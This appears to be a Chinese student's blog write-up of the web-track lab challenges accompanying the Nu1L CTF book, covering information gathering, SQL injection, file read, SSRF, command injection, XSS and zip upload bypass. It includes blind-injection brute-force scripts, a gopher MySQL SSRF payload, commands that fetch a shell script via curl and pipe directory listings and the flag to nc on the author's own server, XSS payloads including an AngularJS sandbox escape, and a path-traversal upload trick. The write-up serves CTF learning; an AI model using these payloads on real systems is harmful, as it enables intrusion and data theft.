前言
自己刚学了CTF两个月,深感入门CTF的困难。非常感谢Nu1L战队可以编写这本一本非常详实而且全面的CTF书籍,为许许多多像我这样的弱鸡提供了入门的帮助。
自己是Web方向,虽然学了两个月,但是并不是很系统的对Web进行学习。非要给个定位的话,自己现在顶多算是0.2,距离这本书的从0到1还有很大的差距。因此为了提高自己,真正的成为1,自己买了这本书而且要努力的进行学习。
这本书的配套题目可以说给了自己学习知识的同时进行实践的机会。本来不想写WP的,因为考虑到Nu1L的微信公众号已经给出了WP。不过自己去查WP的时候觉得很麻烦,又考虑到自己有强烈的写WP来巩固自己所学知识的欲望,于是自己一边学习,每学完一部分的内容就去做做配套题目以巩固,然后写下WP,既巩固的知识,又方便了自己以后查找。不过考虑到学业繁重,只能在课余时间学习此书,因此WP的更新可能会很很很很很慢。
举足轻重的信息搜集
第一题:常见的搜集
进入环境,用dirsearch扫一下,发现存在vim备份文件,gedit备份文件和robots.txt文件。
robots.txt直接访问,发现flag1_is_her3_fun.txt,直接访问发现了flag1。
index.php~直接访问,发现flag2。
直接访问.index.php.swp,把vim备份文件下载下来,然后vim -r index.php.swp对文件进行恢复,就可以得到flag3。
然后把这三个flag拼接起来就可以了。
第二题 粗心的小李
进入环境,提示是git泄露,直接用githack:
然后去对应的文件夹里找,如果没有index.html,使用git checkout-index -a命令就可以了。
打开index.html,成功得到flag。
CTF中的SQL注入
SQL注入-1
进入环境,发现?id=1。我们输入3的时候告诉我们可以获得tips,这里忽略它。
首先尝试?id=2-1,发现显示的是id=2时的页面,说明可能是字符型注入,我们输入?id=1a,发现和id=1时的页面一样,印证了是字符型注入。然后尝试?id=1' and 1=1 -- -
,和?id=1' and 1=2 -- -
,印证了就是简单的字符型注入,然后就是正常的union注入了:
?id=1' order by 3 -- -
?id=-1' union select 1,2,3 -- -
?id=-1' union select 1,database(),3 -- -
?id=-1' union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='note' -- -
?id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='fl4g' -- -
?id=-1' union select 1,group_concat(fllllag),3 FROM fl4g -- -
是最基础的union注入。
SQL注入-2
一开始我以为这题环境进不去,后来才发现应该进的是login.php。
这是一个进行SQL注入的登录页面。我们首先可以在用户名那里试出是字符型注入,可以利用单引号闭合。f12查看一下源码,发现:
如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。
我是这么容易屈服的人吗?肯定不是。在坚决不开错误提示的情况下,我尝试了各种办法发现还是不行。这时候我反应过来了,这题不是用闭合单引号的方式直接登录的,是要获得flag的。因此应该是通过注入来获得数据库的相关信息,而不是所谓的靠万能密码,万能用户名进行登录。因此我换了一种思路,按照爆库的方式来注入,发现存在布尔注入:
因此就需要写脚本进行布尔注入了。但是还会遇到一个问题,就是在爆表的时候发现布尔注入失败了。怀疑存在过滤,尝试把select进行双写,发现布尔注入可以实现,因此这题居然还有个过滤select的坑。(这里其实我没想到。发现布尔注入不行后又折腾了几下,还是不行就屈服于了Nu1l的WP。。。)
接下来就是直接用脚本爆库了。脚本如下。
数据库长度:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
#key = "admin%1$' and " + "(length(database())=" + str(i) + ")#"
key = "admin' and " + "(length(database())=" + str(i) + ")#"
data = {
'name':key, 'pass':'123'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of database is %s' %i)
数据库名字:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in range(65,123):
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr(database(),%d,1))=%d)#"%(j,i)
data = {
'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=chr(i)
print(name)
表长度
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
key = "admin' and " + "length((sselectelect table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1))=" + str(i) + "#"
data = {
'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of table is %s' %i)
表名字
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in range(48,123):
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr((seselectlect table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1),%d,1))=%d)#"%(j,i)
data = {
'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=chr(i)
print(name)
列长度:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
key = "admin' and " + "length((seselectlect column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1))=" + str(i) + "#"
data = {
'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of column is %s' %i)
列名字:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in range(48,123):
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr((seselectlect column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1),%d,1))=%d)#"%(j,i)
data = {
'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=chr(i)
print(name)
flag长度:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(60):
key = "admin' and " + "length((seselectlect flag FROM fl4g limit 0,1))=" + str(i) + "#"
data = {
'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
#print(r)
if right in str(r):
print('the length of column is %s' %i)
flag:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=26
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
for i in dic:
#key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
#key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
key = "admin'"+" and (ascii(substr((sselectelect flag FROM fl4g limit 0,1),%d,1))="%j+str(ord(i))+")#"
data = {
'name':key, 'pass':'111'}
r = requests.post(url, data=data).text
if right in str(r):
name+=i
print(name)
成功得到flag。
看了一下Nu1l官方的WP,是使用了?tips=1,开启了mysql错误提示,然后进行报错注入,记得双写select。
有一说一,这题最难的地方应该是select双写那个地方。如果不开启mysql错误回显的话,你就只有bool回显,当你的脚本不print内容的时候,你的第一反应应该是脚本写错了,而不是sql语句被过滤了。当你仔细检查后认为脚本没问题,把sql语句亲自放到burp上检查的时候,也很难想到是自己的sql语句被过滤了,因为真的没有任何提示。
所以这题真的挺考验思维的,是个很不错的题目。
任意文件读取漏洞
afr_1
首先进入环境,发现了?p=hello,然后页面回显了hello world。猜测存在文件包含,而且get传入的参数p后面应该被加上了后缀。
尝试?p=flag,发现回显no no no,因此我们要读取的文件应该就是flag.php。
用php的filter直接读取一下,成功获得flag:
?p=php://filter/read=convert.base64-encode/resource=flag
后面是flag而不是flag.php是因为考虑到传入的参数会被加上后缀。
再base64解码就成功获得了flag.php的源码,其中flag在注释里。
afr_2
进入环境,没什么发现。f12查看源码,发现了图片的路径。本来没什么察觉,但是用dirsearch扫了一下,发现图片的那个目录是可访问的:
去/img看一看,发现存在目录可以访问:
看到这个,第一反应是猜测是不是存在目录穿越漏洞。具体的内容可以参考《从0到1:CTFer成长之路》第38面的Nginx错误配置。其实光看一遍书可能想不到这个,但是因为我以前正好做到过一个Nginx错误配置的题目,因此一看到这样的目录页面,第一反应就是目录穿越。
尝试改成/img…/。(注意,我输入的是2个点,但是却显示三个点。。我也很迷。)
发现穿越到了上级目录:
直接访问flag,就可以获得flag了。
SSRF漏洞
SSRF Training
虽然说这题是书上的环境,但是我没看懂书。。。有一说一我感觉SSRF真的好难,根本看不懂。。。
首先是获得Web容器里的flag。点击这个就可以进入书中那个URL解析的例题环境。
直接构造?url=http://@127.0.0.1:[email protected]/flag.php
这里必须要带上80的端口号,不然解析URL好像就会出错,我也很迷。。。还是太菜了。。。
接下来是攻击MySQL。操作就是和书上一样的。打开2个MySQL容器,一个使用tcpdump,一个进行MySQL查询。
之后用wireshark打开那个数据包。这里需要把容器中的文件传递到主机里,使用命令:
然后用wireshark打开这个数据包,过滤mysql:
再随便选一个包右键,追踪流-TCP流,然后过滤出客户端到服务端的数据包:
然后我是把它转为原始数据,再将原始数据整理为一行,并将其url编码。
这里用到的URL编码脚本如下:
def result(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":
s="9f00000185a67f000000000108000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f72640063035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f7069640238390f5f636c69656e745f76657273696f6e06352e362e3438095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
print(result(s))
返回了这样的结果:
curl gopher://127.0.0.1:3306/_%9f%00%00%01%85%a6%7f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%63%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%02%38%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%34%38%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01
然后直接请求:
这里可以看出其实已经爆出了MySQL数据库的所有东西,但是!乱码了。乱码的问题我就没有去解决了, 毕竟只是个测试的容器,可能这个docker如何装在Linux里应该就没问题了。不过有一说一,我也不知道我这样的MySQL攻击步骤到底对不对。。。。不过毕竟出了结果,可能过程有些问题叭。。。
接下来是PHP-FPM攻击。这个环境在desktop_vuln_1registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest里。
书本上关于这个的介绍其实不太详细,具体可以参考下面的文章:
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
学习完之后,就可以利用脚本了。不过
这个容器里并没有fpm.py这个脚本,在根目录有一个exp.py的脚本,官方应该把脚本的名字弄错了。
首先开2个窗口,一个执行命令,一个用来nc。
首先nc:
另一个窗口执行命令:
这时候我们看看nc的窗口,成功连接:
接下来就是按照书上说的那样了:
接下来就是将数据进行URL编码,然后进行攻击。
唯一还剩下一个redis的容器,不过我这里打开这个容器后会立刻自己关闭,目前还没有成功解决。。。
命令执行漏洞
死亡ping命令
真的是哪里不会就考哪里。。我反弹shell这里是很迷的,没想到命令执行还要搞。。。
总的来说,就是过滤了很多很多东西,而且无回显,要想办法反弹。
这里先抓包,利用%0a就可以执行多条命令。
接下来就是按照官方WP那样。
首先,在自己的公网ip网站里写一个1.sh,要传两次,依次是
ls / | nc xxx.xx.xxx.xxx 39001
和
cat /FLAG | nc xxx.xx.xxx.xxx 39001
nc自己的VPS的公网ip,端口是39001是因为我开的是39001。
第一次把ls /的结果回显到你的VPS上,发现了FLAG,第二次直接cat获取就可以了。
开始对ip进行传入:
127.0.0.1%0acurl xxx.xx.xxx.xxx/1.sh > /tmp/1.sh
这是把我们写的1.sh重定向到/tmp/1.sh。之后加权限:
127.0.0.1%0achmod 777 /tmp/1.sh
然后在自己的VPS上监听39001端口:
然后执行1.sh:
127.0.0.1%0ash /tmp/1.sh
这时候一定是可以ping成功的:
如果ping失败了,注意自己的端口有没有开,ip有没有填对,还有看看iptables,是不是因为防火墙的问题。自己这里是因为防火墙的问题,搞了两天才弄好。只能说第一次整VPS没经验。。。
之后看看自己的VPS,成功发现执行ls的回显:
其实这题不看WP是很难想到的,因为一般没回显都会直接反弹shell,但是docker里没有bash、python程序自己是不知道了。
还需要注意的是权限问题。一般都是往/tmp目录写sh,因为一般/tmp目录有写和执行的权限,但是为了保险,第二步还是加了权限,这是值得自己学习的。因为一旦自己往/tmp写sh成了习惯,如果有一个环境就是没权限的,基本就栽在里面了。
XSS的魔力
是一个闯关的设置,一步一步逐渐加大难度,自己做完之后对于XSS有了更深的理解。不过自己最大的问题还是JavaScript学的太差。。。看来还是要找个时间补一下JavaScript。
level1
没啥好说的,没有绕过,直接上才艺就可以了。
?username=<script>alert(1)</script>
level2
f12看源码:
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
我们可以看到username被escape函数编码了,基本上就很难绕过。因此我们从username本身想办法。可以这样构造:
?username=';alert(1);//
这样username就是这样:
var username = '';alert(1);//';
成功执行了alert(1)。
level3
还是直接f12看源码:
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>
还是按照上题那样注入,结果不行,看看源码,发现引号被转义了:
var username = '\';alert(1);//';
document.getElementById('ccc').innerHTML= "Welcome " + username;
但是注意到第三题并没有escape。这时候我一开始犯了一个错误。我忘记了注入点已经在script里了,因此遇到了一些奇怪的问题。不过因为这个问题我并没有解决,因此就放在这里,希望如果有大佬知道可以教教我。。
我接下来傻傻的注入:
?username=<script>alert(1)</script>
果然不行。但是,为什么不行呢?我f12查看源码,我发现我输入的</script>的颜色有些不太一样:
这和外面的<script>的颜色是一样的,难道字符串里的一样可以闭合吗?我在自己的本地试了试,发现报错了:
有些玄学。我上网查了查,实际上并没有查到一个真正可以解释这个的答案。不过有一些想法:
还有一个解决办法:
考虑到这题单引号已经被转义,因此只能<\/script>。在本地果然不报错了:
而且我发现我在本地用document.write的话,可以弹窗!
但是我发现这题还是不能弹窗。。直到我看到了外面已经有一层script。。。。。
嗯哼。。。。。上面都是自己的nt行为,接下来开始正确解题。直接alert(1)发现不行后,考虑将js动态写入html中,就是用各种on事件,这里直接这样:
?username=<img src=1 onerror=alert(1)>
level4
这题是一个定时重定向的,还是老样子f12看源码:
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${
time}秒后将会重定向到${
escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){
return pair[1];}
}
return(false);
}
</script>
需要对这段JavaScript代码进行审计。
首先要知道windows.location对象包含的属性:
注意jumpUrl就是我们要跳转的网页,因此我们要注入的点应该是jumpUrl。
先一步一步审一下代码。getQueryVariable函数里面的query就是?后面的内容,比如http://localhost:3000/level4?123456,这样的话query就是123456。
vars是query以&作为分隔符分隔后形成的数组。简单来说就是相当于获得了每个参数。
然后遍历每个参数。将每个参数以=为分隔符再分隔形成数组,这样pair[0]相当于参数名,pair[1]相当于值。接着进行判断,if(pair[0] == variable){return pair[1];}
因此我们直接构造好参数名,就是控制返回的内容。
因此这样:
这样jumpUrl的值就是我们要跳转的网页。这时候考虑怎么进行XSS,自然就想到了《从0到1:CTFer成长之路》第109面的伪协议和XSS,这部分是关于链接和跳转进行XSS的。因此可以利用js伪协议实现alert:
?jumpUrl=javascript:alert(1)
只不过你构造好之后,还要等10秒后重定向才可以弹窗。
level5
f12上源码:
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){
return pair[1];}
}
return(false);
}
</script>
和level4的代码有些类似。还是进行审计。
只不过我们的构造要满足两个点:
if(getQueryVariable('autosubmit') !== false){
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
首先那个if语句不能为false,直接给autosubmit传个值就行了。
还有就是getQueryVariable(‘action’) 不能为false,然后构造action就可以实现和上一题类似的方式了。
审计完,理解好代码之后直接构造:
?autosubmit=1&action=javascript:alert(1)
成功弹窗。
level6
这题f12看不出来多少东西:
尝试输入<script>alert(1)</script>,发现对左尖括号<进行了html实体编码:
尝试进行编码绕过,但是不行。又尝试了各种办法还是不行。这时候我又去看了一遍书,因为这个环境考的肯定是书上的内容。突然灵机一动,发现《从0到1:CTFer成长之路》第110-111面的二次渲染导致的XSS和这个题目有些像。验证一波:
发现打印出了9,印证了是模板XSS。我们看一下这个环境用的是哪个模板,发现是AngularJS:
然后就是谷歌查相关的内容。
首先参考下面这个网页:
AngularJS客户端模板注入(XSS)
看完后就是模板注入XSS有了了解,不过由于我们的Angular版本是1.4.6,存在沙箱,因此要去搜索这个版本的Angular的沙箱逃逸的方法:
AngularJS Sandbox Bypasses
从中得知的逃逸的办法:
{
{
'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
后面的alert(1)那里可以换成任意js函数。不过这题我们不需要,直接构造就可以了:
?username={
{
'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
终于通关了!!!:
Web文件上传漏洞
文件上传
这题也是看了官方的WP才顺利做出来,首先是自己学的还是有些问题,对于绕过的思考上出了问题。此外,就是010 Editor这个工具不太会用。。
首先进入环境,往下拉可以看到源码:
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
if(!$_FILES){
show_source(__FILE__);
}else{
$file = $_FILES['file'];
if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
if(!is_dir($dir)){
mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}
大致把源码看一遍,自然就联想到了《从0到1:CTFer成长之路》第150面开始的解压特殊文件实现绕过。
对2.4.9的ZIP上传带来的上传问题再读一遍,就会知道前几条都不满足,无法利用,只能利用第5点的目录穿越。
首先我们审计一下代码,第一个过滤点是这里:
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
也就是说利用了正则表达式过滤了以.php结尾的文件。这时候我的第一想法是构造.php/. 这样可以吗?其实是不行的,这其实是我书学的有问题,这个的内容在第143面,是在file_put_contents上传利用那里。在这题的条件下,尚且不说解压,用010 Editor进行改名后,出现在压缩包里的是这样:
也就是说,后面加上了/.其实并不会有了,而是让它变成了文件夹了。因此不行。
这时候我们看看是否存在解析漏洞:
我们发现使用了Apache,因此想到apache的解析漏洞。即构造xxxx.php.xxx,只要最后的xxx不能被解析,会继续向左解析,因此php可以成功被解析。
接下来就是按照书中的方法进行目录穿越了。因为
$temp_dir = $dir.md5(time(). rand(1000,9999));
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
因此,我们上传的文件在/upload/随机/下面,因此要穿越两层目录,就可以到达网站的根目录了,因此前面要构造/…/…/
但是接下来我遇到了个问题,就是改名的问题。我只能说还是不太会用010 Editor。我是在windows下先生成一个zip压缩包,然后再把文件扔进zip包。这时候最好你原本文件名字的长度和你要改的长度一样,不然可能会很难搞。。。
首先就是下载010 Editor,然后破解,这些可以网上查。
然后就是使用了。左上角file,然后new file,打开zip:
如果没有下面的那个,需要手动打开:
这时候我们会看到,命名我的zip里只有一个文件,但是却显示2个:
这时候,我们需要修改第二个:
注意ushort deFileName…那里,那个20就是你文件名字的长度。
然后我们改成要构造的名字:
我构造的是/…/…/feng.php.feng
然后crtl+s保存就可以了。然后把这个zip上传。、
会显示上传成功,这时候我们的feng.php.feng已经目录穿越到了localhost目录下。直接访问就可以得到flag:
不过我还是有一些疑问,就是书上说压缩包内的第一个文件必须是正常文件,不然穿越文件在LInux下利用失败。我当时以为这个linux是题目环境的系统。但是我是在windows里起的docker,看到题目的环境是ubuntu的:
难道书上所说的是我们做题时候所在的系统吗。。。对于这一点有点迷。。
反序列化漏洞
这个题目真的是完全超乎了自己的能力范围了。。感觉刚入门的自己能审出来真的是不可能。。。
这个反序列化链的利用请参考这篇文章:
Thinkphp 反序列化利用链深入分析
自己最近也开始学习thinkphp的审计,等再学一段时间再尝试审一审这个反序列化的链吧。
Python的安全问题
没怎么学过python…对于web的python内容基本没接触过,这一章的内容就暂时不看了,预计11月初把python的相关内容学习后再来看这章,然后做题。